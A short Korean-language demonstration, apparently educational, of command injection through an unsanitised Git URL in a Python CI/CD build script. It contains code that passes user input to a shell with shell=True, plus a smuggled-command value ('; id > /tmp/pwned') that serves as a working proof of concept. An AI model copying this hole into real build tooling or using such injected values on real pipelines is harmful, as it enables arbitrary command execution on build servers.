
CI/CD 파이프라인에서 필터링되지 않은 Git URL을 통한 명령 주입을 시연하며, 취약한 빌드 스크립트와 심각한 CVE에 대한 익스플로잇 예제를 포함합니다.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
CI/CD 파이프라인 스크립트가 셸 명령에서 소독되지 않은 사용자 제공 Git 저장소 URL을 사용합니다. 공격자는 URL에 특수 문자(예: ;, &&)를 포함하여 셸 명령을 주입할 수 있으며, 이로 인해 빌드 서버에서 임의 명령이 실행될 수 있습니다.
취약한 스크립트 실행:
python cicd_build.py
주입된 id 명령이 실행되어 /tmp/pwned 파일이 생성됩니다.